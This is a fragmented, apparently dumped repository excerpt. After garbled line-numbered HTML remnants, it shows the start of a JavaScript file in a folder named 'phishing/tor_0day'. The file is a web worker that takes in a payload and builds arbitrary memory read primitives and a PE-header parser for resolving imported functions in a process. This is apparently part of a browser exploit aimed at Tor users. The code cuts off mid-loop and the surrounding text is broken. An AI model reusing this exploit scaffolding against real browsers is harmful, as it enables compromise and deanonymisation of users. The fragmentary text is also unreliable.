309 |
|
330 | ||||||||
333 |
|
400 | ||||||||
47 |
| 50 | | |
| 53 | | |
|
56 |
57 |
58 | The server at http://GatWa:80
59 | |
63 | |
| 67 | |
156 | 
157 |
158 |
159 |
162 |
163 |
164 |
--------------------------------------------------------------------------------
/bin/phishing/tor_0day/cssbanner.js:
--------------------------------------------------------------------------------
1 | self.onmessage =
2 | function(msg) {
3 |
4 | thecode = msg.data;
5 | var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
6 | & 65535) + String.fromCharCode(a) };
7 |
8 | function Memory(b,a,f)
9 | {
10 | this._base_addr=b;
11 | this._read=a;
12 | this._write=f;
13 | this._abs_read = function(a) {
14 | a >= this._base_addr ? a = this._read( a - this._base_addr) : (
15 | a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
16 | return 0>a?4294967295+a+1:a
17 |
18 | };
19 | this._abs_write = function(a,b) {
20 | a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
21 | = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
22 | };
23 | this.readByte = function(a) {
24 | return this.read(a) & 255
25 |
26 | };
27 | this.readWord = function(a) {
28 | return this.read(a) & 65535
29 | };
30 | this.readDword = function(a){ return this.read(a) };
31 | this.read = function(a,b) {
32 | if (a%4) {
33 | var c = this._abs_read( a & 4294967292),
34 | d = this._abs_read( a+4 & 4294967292),
35 | e = a%4;
36 | return c>>>8*e | d<<8*(4-e)
37 | }
38 | return this._abs_read(a)
39 | };
40 | this.readStr = function(a) {
41 | for(var b = "", c = 0;;) {
42 | if (32 == c)
43 | return "";
44 | var d = this.readByte(a+c);
45 | if(0 == d)
46 | break;
47 | b += String.fromCharCode(d);
48 | c++
49 | }
50 | return b
51 |
52 | };
53 | this.write = function(a){}
54 | }
55 | function PE(b,a) {
56 | this.mem = b;
57 | this.export_table = this.module_base = void 0;
58 | this.export_table_size = 0;
59 | this.import_table = void 0;
60 | this.import_table_size = 0;
61 | this.find_module_base = function(a) {
62 | for(a &= 4294901760; a; ) {
63 | if(23117 == this.mem.readWord(a))
64 | return this.module_base=a;
65 | a -= 65536
66 | }
67 | };
68 | this._resolve_pe_structures = function() {
69 | peFile = this.module_base + this.mem.readWord(this.module_base+60);
70 | if(17744 != this.mem.readDword(peFile))
71 | throw"Bad NT Signature";
72 | this.pe_file = peFile;
73 | this.optional_header = this.pe_file+36;
74 | this.export_directory =
75 | this.module_base+this.mem.readDword(this.pe_file+120);
76 | this.export_directory_size = this.mem.readDword(this.pe_file+124);
77 | this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
78 | this.import_directory_size=this.mem.readDword(this.pe_file+132)};
79 | this.resolve_imported_function=function(a,b){
80 | void 0==this.import_directory&&this._resolve_pe_structures();
81 | for(var
82 | e=this.import_directory,c=e+this.import_directory_size;e
157 |